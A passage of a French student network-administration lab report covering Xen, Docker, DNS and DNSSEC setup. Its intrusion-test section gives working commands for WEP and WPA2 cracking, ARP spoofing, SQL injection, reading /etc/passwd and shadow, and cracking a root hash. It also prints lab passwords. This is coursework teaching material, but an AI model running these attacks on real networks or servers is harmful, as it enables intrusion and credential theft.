&lt;br /&gt;
==== Clés SSH ====&lt;br /&gt;
&lt;br /&gt;
=== Installation de docker ===&lt;br /&gt;
&lt;br /&gt;
Avant de commencer l'installation de docker il nous faut ajouter les packages python3 et python3-pip à notre machine secondaire, nous avons utilisé ansible pour faire ceci en créant le rôle basic :&lt;br /&gt;
&lt;br /&gt;
 - name: package to be installed&lt;br /&gt;
   apt:&lt;br /&gt;
        update_cache: yes&lt;br /&gt;
        name: &amp;quot;\{{ packages }}&amp;quot;&lt;br /&gt;
   vars:&lt;br /&gt;
        packages:&lt;br /&gt;
                - python3&lt;br /&gt;
                - python3-pip&lt;br /&gt;
&lt;br /&gt;
Nous avons également récupéré le rôle geerlingguy.docker qui est un rôle fait pour déployer docker grâce à ansible.&lt;br /&gt;
&lt;br /&gt;
Nous avons ensuite créé notre playbook pour déployer nos commandes :&lt;br /&gt;
&lt;br /&gt;
 - hosts: webserver&lt;br /&gt;
   roles:&lt;br /&gt;
          - basic&lt;br /&gt;
          - geerlingguy.docker&lt;br /&gt;
   vars:&lt;br /&gt;
         docker_apt_gpg_key: &amp;quot;https://download.docker.com/linux/debian/gpg&amp;quot;&lt;br /&gt;
         docker_apt_repository: &amp;quot;deb [arch={{ docker_apt_arch }}] https://download.docker.com/linux/debian buster {{ docker_apt_release_channel }}&amp;quot;&lt;br /&gt;
&lt;br /&gt;
=== Création de votre conteneur ===&lt;br /&gt;
&lt;br /&gt;
Pour lancer notre containeur web nous avons commencé par créer le Dockerfile :&lt;br /&gt;
&lt;br /&gt;
 FROM httpd:2.4&lt;br /&gt;
 COPY . /usr/local/apache2/htdocs/&lt;br /&gt;
 CMD [&amp;quot;httpd&amp;quot;, &amp;quot;-D&amp;quot;, &amp;quot;FOREGROUND&amp;quot;]&lt;br /&gt;
&lt;br /&gt;
Nous avons ensuite créé l'image du Dockerfile :&lt;br /&gt;
 docker build -t web .&lt;br /&gt;
&lt;br /&gt;
Puis nous avons lancé notre container&lt;br /&gt;
 docker run -d -p &amp;quot;8085:80&amp;quot; --name web web&lt;br /&gt;
&lt;br /&gt;
Nous avons pu vérifier le bon fonctionnement de celui-ci grâce a la commande suivante :&lt;br /&gt;
 curl 193.48.57.184:8085&lt;br /&gt;
&lt;br /&gt;
Nous avons ensuite créé un rôle ansible pour créer un dépôt local docker sur notre machine secondaire :&lt;br /&gt;
&lt;br /&gt;
 - name: Setup registry&lt;br /&gt;
   docker_container:&lt;br /&gt;
           name: registry&lt;br /&gt;
           image: registry&lt;br /&gt;
           ports:&lt;br /&gt;
                   - &amp;quot;5000:5000&amp;quot;&lt;br /&gt;
&lt;br /&gt;
Après cela nous avons voulu push notre image &amp;quot;web&amp;quot; vers notre dépôt mais une erreur est survenue, celle-ci viens du fait qu'il fallait rajouter le fichier daemon.json dans le dossier &amp;quot;/etc/docker/&amp;quot; afin de ne pas utiliser une connexion sécurisé.&lt;br /&gt;
&lt;br /&gt;
 {&lt;br /&gt;
       &amp;quot;insecure-registries&amp;quot; : [&amp;quot;192.168.42.5:5000&amp;quot;]&lt;br /&gt;
 }&lt;br /&gt;
&lt;br /&gt;
Une fois ce fichier modifié nous avons pu utiliser les commandes :&lt;br /&gt;
&lt;br /&gt;
 docker tag web 192.168.42.5:5000/webserver&lt;br /&gt;
 docker push 192.168.42.5:5000/webserver&lt;/div&gt;</summary>
		<author><name>Psanchez</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5sc_2020/2021_G5&amp;diff=54953</id>
		<title>TP sysres IMA5sc 2020/2021 G5</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5sc_2020/2021_G5&amp;diff=54953"/>
				<updated>2020-12-17T23:09:44Z</updated>
		
		<summary type="html">&lt;p&gt;Psanchez : /* Installation de docker */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! Groupe !! Domaine !! Distribution !! VLAN privé !! IP (VLAN333) !! Netmask (VLAN333) !! Gateway (VLAN333) !! Gateway 6509-E (VLAN333) !! Gateway 9200 (VLAN333) !! IP (publique)&lt;br /&gt;
|-&lt;br /&gt;
| Groupe 5&lt;br /&gt;
| amanite.site&lt;br /&gt;
| Debian 10 Buster&lt;br /&gt;
| 305&lt;br /&gt;
| 100.64.0.24&lt;br /&gt;
| 255.255.255.0&lt;br /&gt;
| 100.64.0.254&lt;br /&gt;
| 100.64.0.1&lt;br /&gt;
| 100.64.0.2&lt;br /&gt;
| 193.48.57.184&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
==Création d'une machine virtuelle Xen Linux sur le dom0 capbreton.plil.info==&lt;br /&gt;
&lt;br /&gt;
Connexion ssh :&lt;br /&gt;
&lt;br /&gt;
ssh pifou@capbreton.plil.info&lt;br /&gt;
&lt;br /&gt;
Création de la VM Xen :&lt;br /&gt;
&lt;br /&gt;
&amp;gt; su - (Afin de pouvoir accéder aux variables d'environnement de su et ainsi accéder à sbin/mkswap)&lt;br /&gt;
&lt;br /&gt;
&amp;gt; xen-create-image --hostname=amanite --ip=100.64.0.19 --netmask=255.255.255.0 --gateway=100.64.0.5 --password=pasglop --dir=/usr/local/xen --dist=buster &lt;br /&gt;
&lt;br /&gt;
Résultat de la commande :&lt;br /&gt;
 General Information&lt;br /&gt;
 --------------------&lt;br /&gt;
 Hostname       :  amanite&lt;br /&gt;
 Distribution   :  buster&lt;br /&gt;
 Mirror         :  http://deb.debian.org/debian&lt;br /&gt;
 Partitions     :  swap            512M  (swap)&lt;br /&gt;
                  /               4G    (ext4)&lt;br /&gt;
 Image type     :  sparse&lt;br /&gt;
 Memory size    :  256M&lt;br /&gt;
 Kernel path    :  /boot/vmlinuz-4.19.0-9-amd64&lt;br /&gt;
 Initrd path    :  /boot/initrd.img-4.19.0-9-amd64&lt;br /&gt;
&lt;br /&gt;
 Networking Information&lt;br /&gt;
 ----------------------&lt;br /&gt;
 IP Address 1   : 100.64.0.19 [MAC: 00:16:3E:C4:6A:BB]&lt;br /&gt;
 Netmask        : 255.255.255.0&lt;br /&gt;
 Gateway        : 100.64.0.5&lt;br /&gt;
&lt;br /&gt;
===Configuration des LV===&lt;br /&gt;
&lt;br /&gt;
Après que Guillaume ait créer un volume group sur capbreton pour chaque groupe puis attribuer 2 Logical Volume (LV) de 10Go sur ce volume group il est nécessaire de formater ces 2 LV à l'aide des commandes suivantes :&lt;br /&gt;
&lt;br /&gt;
 root@capbreton:~# mkfs.ext4 /dev/storage/amanite1&lt;br /&gt;
 root@capbreton:~# mkfs.ext4 /dev/storage/amanite2&lt;br /&gt;
&lt;br /&gt;
Nous avons par la suite modifier le fichier config de la VM, ''amanite.cfg'', afin qu'elle possède les volumes loguqes amanite1 et amanite2 précédemment créé en rajoutant les lignes ci-dessous :&lt;br /&gt;
&lt;br /&gt;
Dans la fonction Disk Device(s) :&lt;br /&gt;
 disk = [&lt;br /&gt;
 ...&lt;br /&gt;
 'phy:/dev/storage/RingotSanchez1,xvdav3,w'&lt;br /&gt;
 'phy:/dev/storage/RingotSanchez2,xvdav4,w'&lt;br /&gt;
 ]&lt;br /&gt;
&lt;br /&gt;
Puis dans Networking :&lt;br /&gt;
 vif = [ 'bridge=IMA5sc, ...']&lt;br /&gt;
&lt;br /&gt;
===Création et configuration de la machine virtuelle===&lt;br /&gt;
&lt;br /&gt;
Lorsque nous sommes connecté en ssh à capbreton, creation de la VM avec la commande : xl create -c /etc/xen/amanite.cfg&lt;br /&gt;
&lt;br /&gt;
*Commandes utiles&lt;br /&gt;
** Affichage de l'ensemble des VM présente sur capbreton : xl list&lt;br /&gt;
** Se connecter à la VM : xen console amanite&lt;br /&gt;
 Identifiant de la machine : root&lt;br /&gt;
 Mdp de la machine : pasglop&lt;br /&gt;
&lt;br /&gt;
'''Suite de la configuration'''&lt;br /&gt;
&lt;br /&gt;
Pour que les répertoires /var et /home de la machine virtuelle soient sur des partitions LVM de l’hôte il faut tout d'abord formater xvda3, xvda4 en ext 4  à l'aide des commandes : &lt;br /&gt;
 root@amanite:~# mkfs.ext4 /dev/xvda3 &lt;br /&gt;
 root@amanite:~# mkfs.ext4 /dev/xvda4&lt;br /&gt;
&lt;br /&gt;
Par la suite nous montons nos deux disques afin d'y déplacer nos répertoires (en ayant préalablement créer les points de montages /mnt/xvda3 et /mnt/xvda4) :&lt;br /&gt;
&lt;br /&gt;
 root@amanite:~# mount /dev/xvda3 /mnt/xvda3&lt;br /&gt;
 root@amanite:~# mount /dev/xvda4 /mnt/xvda4&lt;br /&gt;
&lt;br /&gt;
Le répertoire /home étant vide nous ne déplaçons que le répertoire /var dans le disques xvda4 :&lt;br /&gt;
&lt;br /&gt;
 root@amanite:~# mv /var/* /mnt/xvda4.&lt;br /&gt;
&lt;br /&gt;
Puis nous démontons (umount) nos deux volumes.&lt;br /&gt;
&lt;br /&gt;
Nous modifions ensuite /ect/fstab en ajoutant :&lt;br /&gt;
 /dev/xvda3 /home ext4 defaults 0 2&lt;br /&gt;
 /dev/xvda4 /var ext4 defaults 0 2&lt;br /&gt;
&lt;br /&gt;
Puis nous les montons à l'aide de la commande : &lt;br /&gt;
 mount -a &lt;br /&gt;
Finalement à l'aide de la commande lsblk nous pouvons verifier notre montage : &lt;br /&gt;
 NAME  MAJ:MIN RM  SIZE RO TYPE MOUNTPOINT&lt;br /&gt;
 xvda1 202:1    0  512M  0 disk [SWAP]&lt;br /&gt;
 xvda2 202:2    0    4G  0 disk /&lt;br /&gt;
 xvda3 202:3    0   10G  0 disk /home&lt;br /&gt;
 xvda4 202:4    0   10G  0 disk /var&lt;br /&gt;
&lt;br /&gt;
==Service Internet==&lt;br /&gt;
&lt;br /&gt;
===Serveur SSH===&lt;br /&gt;
&lt;br /&gt;
Installation d'un serveur ssh, accessible grâce à la commande :&lt;br /&gt;
 ssh root@amanite.site&lt;br /&gt;
avec le mot de passe habituel d'une zabeth non root. (Il faut au préalable avoir autoriser la connexion en root : PermitRootLogin yes dans le fichier /etc/ssh/sshd_config)&lt;br /&gt;
&lt;br /&gt;
===Serveur DNS===&lt;br /&gt;
&lt;br /&gt;
Nous avons commencé par louer un nom de domaine sur gandi.net :&lt;br /&gt;
 amanite.site&lt;br /&gt;
Nous avons ensuite installé le package bind9.&lt;br /&gt;
&lt;br /&gt;
Dans le dossier de configuration de bind9 on modifie les fichiers de configurations :&lt;br /&gt;
&lt;br /&gt;
Dans /etc/bind/named.conf.local :&lt;br /&gt;
&lt;br /&gt;
 zone &amp;quot;amanite.site&amp;quot; IN {&lt;br /&gt;
     type master;&lt;br /&gt;
     file &amp;quot;/etc/bind/zones/amanite.site.db&amp;quot;;&lt;br /&gt;
     allow-transfer{217.70.177.40;};&lt;br /&gt;
 };&lt;br /&gt;
&lt;br /&gt;
Dans /etc/bind/zones/amanite.site.db :&lt;br /&gt;
&lt;br /&gt;
 ;BIND data file for local loopback interface&lt;br /&gt;
 ;&lt;br /&gt;
 $TTL    604800&lt;br /&gt;
 @       IN      SOA     ns1.amanite.site. postmaster.amanite.site. (&lt;br /&gt;
                              6         ; Serial&lt;br /&gt;
                         604800         ; Refresh&lt;br /&gt;
                          86400         ; Retry&lt;br /&gt;
                        2419200         ; Expire&lt;br /&gt;
                         604800 )       ; Negative Cache TTL&lt;br /&gt;
 ;&lt;br /&gt;
 @       IN      NS      ns1.amanite.site.&lt;br /&gt;
 @       IN      NS      ns6.gandi.net.&lt;br /&gt;
 @	 IN 	 MX	 42 ns1&lt;br /&gt;
 ns1     IN      A       193.48.57.184&lt;br /&gt;
 www     IN      A       193.48.57.184&lt;br /&gt;
 ns1     IN      AAAA    2001:660:4401:60b2:216:3eff:fec4:6abb&lt;br /&gt;
 www     IN      AAAA    2001:660:4401:60b2:216:3eff:fec4:6abb&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Dans /etc/bind/name.conf.options&lt;br /&gt;
&lt;br /&gt;
 options {&lt;br /&gt;
 	directory &amp;quot;/var/cache/bind&amp;quot;;&lt;br /&gt;
 	dnssec-validation auto;&lt;br /&gt;
 	listen-on-v6 { any; };&lt;br /&gt;
 	allow-transfer { &amp;quot;allowed_to_transfer&amp;quot;;};&lt;br /&gt;
 };&lt;br /&gt;
 &lt;br /&gt;
 acl &amp;quot;allowed_to_transfer&amp;quot; {&lt;br /&gt;
     217.70.177.40/32;&lt;br /&gt;
 };&lt;br /&gt;
&lt;br /&gt;
Sur gandi.net on lie ns1.amanite.site à 193.48.57.184 grâce a l'option Gluerecords, ensuite on ajoute aux serveurs de noms externes.&lt;br /&gt;
 ns1.amanite.site&lt;br /&gt;
 ns6.gandi.net&lt;br /&gt;
&lt;br /&gt;
Pour vérifier le bon fonctionnement on peut utiliser les commandes suivantes :&lt;br /&gt;
 host -t any ns1.amanite.site localhost&lt;br /&gt;
 host -t any ns1.amanite.site&lt;br /&gt;
&lt;br /&gt;
ou se servir de nslookup.&lt;br /&gt;
&lt;br /&gt;
===Sécurisation de site web par certificat===&lt;br /&gt;
&lt;br /&gt;
Pour sécuriser notre site web par certificat il faut d'abord créer un certificat pour cela on utilise l'utilitaire openssl et nous nous aidons de la documentation de Gandi.&lt;br /&gt;
Cette ligne de commande nous permet de lancer la procédure de création :&lt;br /&gt;
&lt;br /&gt;
 openssl req -nodes -newkey rsa:2048 -sha256 -keyout amanite.site.key -out amanite.site.csr&lt;br /&gt;
&lt;br /&gt;
 Country Name (2 letter code) [AU]:FR&lt;br /&gt;
 State or Province Name (full name) [Some-State]:France&lt;br /&gt;
 Locality Name (eg, city) []:Lille&lt;br /&gt;
 Organization Name (eg, company) [Internet Widgits Pty Ltd]:Polytech&lt;br /&gt;
 Organizational Unit Name (eg, section) []:IMA&lt;br /&gt;
 Common Name (e.g. server FQDN or YOUR name) []:amanite.site&lt;br /&gt;
 Email Address []:admin@amanite.site&lt;br /&gt;
 &lt;br /&gt;
 Please enter the following 'extra' attributes&lt;br /&gt;
 to be sent with your certificate request&lt;br /&gt;
 A challenge password []:glopglop&lt;br /&gt;
 An optional company name []:&lt;br /&gt;
&lt;br /&gt;
Une fois la procédure lancée nous rentrons nos informations comme notre pays, notre entreprise, notre nom d'organisation mais le plus important notre common name &amp;quot;amanite.site&amp;quot;.&lt;br /&gt;
Une fois fini deux fichiers sont créés amanite.site.key et amanite.site.csr, il faut maintenant faire signer le fichier amanite.site.csr par une authorité de certification. Cela se passe directement sur le site de gandi, nous ajoutons ce certificat a notre nom de domaine et nous attendons de recevoir le certificat signé.&lt;br /&gt;
&lt;br /&gt;
===Sécurisation de serveur DNS par DNSSEC===&lt;br /&gt;
&lt;br /&gt;
Le but de cette partie est de résoudre certains problèmes de sécurité liés au protocole DNS grâce au procole DNSSEC. DNSSEC permet de proteger les données et les enregistrements DNS de bout en bout (et non pas seulement le canal de communication comme ce qui pourrait être fait avec TLS). Ainsi, il est efficace même lorsqu'un serveur intermédiaire a été compromis. &lt;br /&gt;
Pour ce faire, nous configurons bind pour qu'il soit capable d'accepter les échanges suivant le protocole DNSSEC.&lt;br /&gt;
&lt;br /&gt;
Nous commençons par activer DNSSEC dans le fichier /etc/bind/named.conf.local grâce à l'option :&lt;br /&gt;
 dnssec-enable yes&lt;br /&gt;
&lt;br /&gt;
Par la suite nous créons un dossier amanite.site.dnssec dans lequel seront stockées les clefs et nous générons deux couples de clefs (ZSK et KSK) qui permettront de chiffrer ou déchiffrer les enregistrements. Nous commençons par créer la clef asymétrique de signature de clefs de zone : &lt;br /&gt;
 dnssec-keygen -a RSASHA1 -b 2048 -f KSK -n ZONE amanite.site&lt;br /&gt;
Puis la la clef asymétrique de la zone pour signer les enregistrements :&lt;br /&gt;
 dnssec-keygen -a RSASHA1 -b 1024 -n ZONE amanite.site&lt;br /&gt;
&lt;br /&gt;
Nous renommons les deux paires de clefs obtenues pour plus de lisibilité : &lt;br /&gt;
 amanite-ksk.key amanite-ksk.private amanite-zsk.key amanite-zsk.private&lt;br /&gt;
&lt;br /&gt;
Que nous incluons dans votre fichier de zone /etc/bind/zones/amanite.site.db :&lt;br /&gt;
 $include /etc/bind/amanite.site.dnssec/amanite.site-ksk.key&lt;br /&gt;
 $include /etc/bind/amanite.site.dnssec/amanite.site-zsk.key&lt;br /&gt;
&lt;br /&gt;
Sans oublier d'incrémenter le numéro de version de la zone dans le fichier amanite.site.db et amanite.site.db.signed&lt;br /&gt;
&lt;br /&gt;
Nous signons les enregistrements de la zone avec la commande : &lt;br /&gt;
 dnssec-signzone -o amanite.site -k amanite.site-ksk ../zones/amanite.site.db amanite.site-zsk &lt;br /&gt;
&lt;br /&gt;
Ensuite dans le fichier /etc/bind/named.conf.local nous modifions la zone :&lt;br /&gt;
 zone &amp;quot;amanite.site&amp;quot; IN {&lt;br /&gt;
     type master;&lt;br /&gt;
     file &amp;quot;/etc/bind/zones/amanite.site.db.signed&amp;quot;;&lt;br /&gt;
     allow-transfer{217.70.177.40;};&lt;br /&gt;
 };&lt;br /&gt;
&lt;br /&gt;
L'avant dernière étape consiste à communiquer la partie publique de la KSK (amanite.site-ksk.key) à Gandi (partie DNSSEC)&lt;br /&gt;
&lt;br /&gt;
Finalement nous relançons bind : &lt;br /&gt;
 service bind9 restart&lt;br /&gt;
&lt;br /&gt;
Nous vérifions la configuration de notre DNS grâce au site : https://dnssec-analyzer.verisignlabs.com/amanite.site&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Screenshot_amanite.site.png|thumb|center||alt=texte alternatif|400px|Screenshot sur le site DNSSEC Analyzer]]&lt;br /&gt;
&lt;br /&gt;
==Tests d'intrusion==&lt;br /&gt;
&lt;br /&gt;
===Cassage de clef WEP d’un point d’accès WiFi===&lt;br /&gt;
&lt;br /&gt;
*Liste des commandes :&lt;br /&gt;
** Lister les interfaces WiFi disponibles : airmong-ng&lt;br /&gt;
** Passage d'une interface en mode moniteur : airmong-ng start &amp;lt;Interface&amp;gt;&lt;br /&gt;
** Affichage et scan des réseaux WiFi WEP environnants : airodump-ng --encrypt wep &amp;lt;Interface&amp;gt;&lt;br /&gt;
** Capture des paquets émis par le point d'accés cible :  airodump-ng --write &amp;lt;nomFichierSortie&amp;gt; --channel 3 -bssid &amp;lt;@mac_AP&amp;gt; &amp;lt;nomInterface&amp;gt;&lt;br /&gt;
** Crack la clef WEP après avoir capture au minimum 30 000 paquets : aircrack-ng -x &amp;lt;nomFichierSortie&amp;gt;-01.cap&lt;br /&gt;
&lt;br /&gt;
Notre première étape consiste à passer notre interface en mode moniteur.&lt;br /&gt;
Nous utilisons donc la commande : airmong-ng&lt;br /&gt;
&lt;br /&gt;
Ce qui nous retourne le nom de notre interface, dans notre cas : &lt;br /&gt;
 wlan0mon&lt;br /&gt;
&lt;br /&gt;
Nous démarrons cette interface en mode moniteur avec la commande afin d'écouter le trafic wifi aux alentours : &lt;br /&gt;
 airmong-ng start wlan0mon&lt;br /&gt;
 &lt;br /&gt;
Par la suite nous affichons l'ensemble des réseaux WiFi WEP capter par notre interface : &lt;br /&gt;
 airodump-ng --encrypt wep wlan0mon&lt;br /&gt;
&lt;br /&gt;
Apparaît alors la cracotte05, nous récupérons son BSSID : 04:DA:D2:9C:50:54 qui va alors nous servir à stocker les vecteurs d'initialisation générées par le point d'accés à l'aide de la commande : &lt;br /&gt;
 airodump-ng --write data --channel 3 -bssid 04:DA:D2:9C:50:54 wlan0mon&lt;br /&gt;
&lt;br /&gt;
Nous pouvons &amp;quot;stimuler&amp;quot; le point d'accés, afin d'augmenter le nombre de paquets transmis (et collectés) : &lt;br /&gt;
 '''Fake Authentication''' : aireplay-ng -1 0 -e cracotte05 -a 04:DA:D2:9C:50:54 -h 40:A5:EF:01:35:79 wlan0mon&lt;br /&gt;
&lt;br /&gt;
 '''Injection''' : aireplay-ng -3 -e cracotte05 -b 04:DA:D2:9C:50:54 -h 40:A5:EF:01:35:79 wlan0mon&lt;br /&gt;
&lt;br /&gt;
Après avoir capturer assez de paquet (environ 30 000) il est possible de cracker la clé WEP à l'aide de la commande : &lt;br /&gt;
 aircrack-ng -z data.cap&lt;br /&gt;
&lt;br /&gt;
Nous obtenons alors : &lt;br /&gt;
 KEY FOUND! [F1:DE:D4:00:00:00:00:00:00:00:0F:FF:FF ] &lt;br /&gt;
Decrypted correctly: 100%&lt;br /&gt;
&lt;br /&gt;
===Cassage de mot de passe WPA2-PSK par force brute===&lt;br /&gt;
&lt;br /&gt;
Pour cette deuxième étape de craquage de clé, nous allons utiliser quelques commandes communes au craquage de la clé WEP.&lt;br /&gt;
&lt;br /&gt;
Nous utilisons donc la commande : airmong-ng afin de lister nos interfaces, dans notre cas : &lt;br /&gt;
 wlan0mon&lt;br /&gt;
&lt;br /&gt;
Nous démarrons cette interface en mode moniteur avec la commande : &lt;br /&gt;
 airmong-ng start wlan0mon&lt;br /&gt;
&lt;br /&gt;
Par la suite nous affichons l'ensemble des réseaux capter par notre interface : &lt;br /&gt;
 airodump-ng wlan0mon&lt;br /&gt;
&lt;br /&gt;
Nous repérons le réseau &amp;quot;Kracotte05&amp;quot; qui possède le BSSID suivant &amp;quot;00:14:1B:60:8C:24&amp;quot;&lt;br /&gt;
&lt;br /&gt;
Nous pouvons lancer dès lors la commande :&lt;br /&gt;
 airodump-ng --write data -c 3 -bssid 00:14:1B:60:8C:24 wlan0mon&lt;br /&gt;
&lt;br /&gt;
Il faut désormais attendre que le handshake soit notifié, dès que celui-ci arrive nous pouvons arreter la capture.&lt;br /&gt;
En parallèle nous pouvons d'ors et déjà créer le dictionnaire qui va nous permettre de casser la clé WPA grâce à la commande crunch :&lt;br /&gt;
 crunch 8 8 0123456789 &amp;gt; dico.txt&lt;br /&gt;
En effet nous savons que le mot de passe n'est composé que de chiffres et la taille totale de celui-ci est de longueur égale à 8.&lt;br /&gt;
&lt;br /&gt;
Pour cracker le mot de passe, nous avons utiliser hashcat, un utilitaire qui permet notamment d'utiliser la puissance du GPU pour le craquage de la clé.&lt;br /&gt;
&lt;br /&gt;
La commande est la suivante :&lt;br /&gt;
 crunch 8 8 0123456789 | hashcat -m 2500 output.hccapx&lt;br /&gt;
&lt;br /&gt;
Le mot de passe pour la kracotte05 est le suivant : 10244444&lt;br /&gt;
&lt;br /&gt;
===Attaque de type &amp;quot;homme au milieu&amp;quot; par usurpation ARP===&lt;br /&gt;
&lt;br /&gt;
Pour réaliser cette attaque, nous installons le paquet dsniff sur notre eeePC grâce à la commande :&lt;br /&gt;
 apt-get install dsniff&lt;br /&gt;
&lt;br /&gt;
La première étape consiste à transformer notre machine attaquante en routeur en mettant la variable noyau /proc/sys/net/ipv4/ip_forward à 1 : echo 1 &amp;gt; /proc/sys/net/ipv4/ip_forward &lt;br /&gt;
&lt;br /&gt;
Nous pouvons afficher la table arp de la machine pirate avec la commande : &lt;br /&gt;
 arp -a&lt;br /&gt;
Grâce à cette table nous identifions deux adresses IP :&lt;br /&gt;
&lt;br /&gt;
172.26.145.254&lt;br /&gt;
-&amp;gt; Adresse IP du routeur&lt;br /&gt;
&lt;br /&gt;
172.26.145.60&lt;br /&gt;
-&amp;gt; Adresse IP de la machine victime&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Notre but est de nous placer entre la gateway et la machine victime afin de pouvoir observer les paquets échangés entre le routeur et la machine victime.&lt;br /&gt;
&lt;br /&gt;
Les commandes suivantes vont nous permettre de procéder à notre attaque du type ARP poisoning :&lt;br /&gt;
 arpspoof -i eth0 -t 172.26.145.254 172.26.145.60 &lt;br /&gt;
 arpspoof -i eth0 -t 172.26.145.60 172.26.145.254 &lt;br /&gt;
&lt;br /&gt;
La première envoie à la cible (172.26.145.254) une fausse réponse ARP afin de corrompre le cache ARP de cette dernière pour ainsi détourner le trafic à destination de notre hôte (172.26.145.60). Ainsi lorsque le routeur devra envoyer des informations à destination de 172.26.145.60, il procédera à une résolution ARP en utilisant l'adresse MAC associé à l'IP 172.26.145.60 et qui aura été changer à la suite de notre spoofing (et nous sera alors associé). La même méthodologie est appliquée pour la seconde commande.&lt;br /&gt;
&lt;br /&gt;
En activant le mode routeur sur la machine pirate, nous pouvons retransférer les paquets entre le routeur et la machine victime de manière transparante. &lt;br /&gt;
&lt;br /&gt;
La machine victime va maintenant se connecter sur un serveur web HTTP.&lt;br /&gt;
&lt;br /&gt;
En lançant wireshark sur la machine attaquante nous observons les paquets suivants :&lt;br /&gt;
[[Fichier:wireshark_grp5.jpg|thumb|center||alt=texte alternatif|400px|Capture Wireshark]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Nous pouvons voir très clairement l'adresse mail ainsi que le mot de passe utilisés par l'utilisateur victime.&lt;br /&gt;
&lt;br /&gt;
===Intrusion sur un serveur d’application Web===&lt;br /&gt;
&lt;br /&gt;
Pour commencer ce challenge nous n’avons qu’une adresse : honey.plil.info. Afin de connaitre les services sur cette machine nous utilisons l’utilitaire nmap qui va scanner le réseau grâce à des pings sweep :&lt;br /&gt;
&lt;br /&gt;
 nmap -A -T4 honey.plil.info&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Nmap_honey.png|thumb|center||alt=texte alternatif|400px|Nmap honey.plil.info]]&lt;br /&gt;
&lt;br /&gt;
Nous voyons que le serveur héberge deux services :&lt;br /&gt;
Un service de connexion ssh, inutilisable sans login et mot de passe&lt;br /&gt;
Un service web.&lt;br /&gt;
&lt;br /&gt;
Nous essayons donc de commencer par attaquer le site web honey.plil.info&lt;br /&gt;
&lt;br /&gt;
Sur la page principale seul un formulaire de connexion est présent, celui-ci sûrement utilisé par une base de données donc nous tentons une injection SQL.&lt;br /&gt;
Les requêtes SQL de connexions sont souvent de la forme : &lt;br /&gt;
Select … From … Where login = « username » AND password = « password ».&lt;br /&gt;
Si nous connaissons l’username ou le mot de passe du compte sur lequel nous voulons nous connecter nous pouvons utiliser une injection du type « or 1 = 1 -- » qui est une condition toujours vraie. Dans notre cas nous ne connaissons ni le login ni le password à utiliser donc on utilise la condition vraie sur les deux champs. De ce fait la base de données sera « perdu » et nous renvoie tous les comptes auxquels nous pouvons nous connecter en nous disant que nous ne pouvons nous connecter à tous ces comptes en même temps.&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Sql_injection_honey.png|thumb|center||alt=texte alternatif|400px|Injection SQL honey.plil.info]]&lt;br /&gt;
&lt;br /&gt;
Une fois connecté en tant qu’admin nous voyons que nous avons accès à trois pages, deux sont intéressantes :&lt;br /&gt;
- La première permet d’uploader un fichier qui est stocké sur le pc du server&lt;br /&gt;
- La deuxième permet de lire ce fichier.&lt;br /&gt;
&lt;br /&gt;
Nous uploadons le fichier password situé dans le dossier « etc », en le lisant nous nous apercevons que deux utilisateurs sont présents sur le serveur : root et rex et ces deux utilisateurs ont les droits pour se connecter en ssh. Nous uploadons le fichier shadow situé dans le dossier « etc », malheureusement celui-ci est vide.&lt;br /&gt;
&lt;br /&gt;
Après quelques tentatives infructueuses pour trouver le mot de passe de rex ou de root on se sert de l’utilitaire dirb qui va bruteforce le site internet pour trouver d’autres liens.&lt;br /&gt;
&lt;br /&gt;
 dirb -r honey.plil.info&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Dirb_honey.png|thumb|center||alt=texte alternatif|400px|Dirb honey.plil.info]]&lt;br /&gt;
&lt;br /&gt;
Celui-ci nous permet de voir qu’une page http://honey.plil.info/phpmyadmin/ est présente. Nous avons fait des recherches pour savoir dans quel fichier était stocké le mot de passe administrateur de phpmyadmin. Nous uploadons donc le fichier config.inc.php, à l’intérieur de celui-ci nous ne trouvons rien excepté un deuxième nom de fichier : “config-db.php”. Dans celui-ci nous trouvons le mot de passe “gencovid19”. Une fois connecté en tant que root sur phpmyadmin, nous fouillons les bases de données et nous trouvons le nom d’utilisateur “rex” et le mot de passe “plainpassword” dans la base “test”.&lt;br /&gt;
&lt;br /&gt;
Une fois connecté en ssh sur le compte de rex, nous avons regardé ses droits et ceux-ci sont quasi identique à ceux de root on peut donc ouvrir le fichier “shadow”, récupérer le hash du mot de passe de root. Nous avons ensuite créé un dictionnaire en partant du principe que le mot de passe était de la forme &amp;quot;glopglop&amp;quot; et nous avons craqué le hash avec John the ripper qui nous donne le mot de passe ********.&lt;br /&gt;
&lt;br /&gt;
==Réalisations==&lt;br /&gt;
&lt;br /&gt;
===Sécurisation de données===&lt;br /&gt;
&lt;br /&gt;
Tout d'abord, nous créons 3 partitions virtuelles grâce aux commandes :&lt;br /&gt;
&lt;br /&gt;
 lvcreate -L1G -n amanite-raid1 storage&lt;br /&gt;
 lvcreate -L1G -n amanite-raid2 storage&lt;br /&gt;
 lvcreate -L1G -n amanite-raid3 storage&lt;br /&gt;
&lt;br /&gt;
Ensuite, nous modifions le fichier : /etc/xen/amanite.cfg&lt;br /&gt;
 disk        = [&lt;br /&gt;
                  'file:/usr/local/xen/domains/amanite/disk.img,xvda2,w',&lt;br /&gt;
                  'file:/usr/local/xen/domains/amanite/swap.img,xvda1,w',&lt;br /&gt;
                  'phy:/dev/storage/RingotSanchez1,xvda3,w',&lt;br /&gt;
                  'phy:/dev/storage/RingotSanchez2,xvda4,w',&lt;br /&gt;
                  'phy:/dev/storage/amanite-raid1,xvda5,w',&lt;br /&gt;
                  'phy:/dev/storage/amanite-raid2,xvda6,w',&lt;br /&gt;
                  'phy:/dev/storage/amanite-raid3,xvda7,w'&lt;br /&gt;
              ]&lt;br /&gt;
&lt;br /&gt;
Puis nous redémarrons notre VM.&lt;br /&gt;
 xl destroy amanite&lt;br /&gt;
 xl create /etc/xen/amanite.cfg&lt;br /&gt;
&lt;br /&gt;
Après avoir relancer notre VM, nous installons le paquet mdadm.&lt;br /&gt;
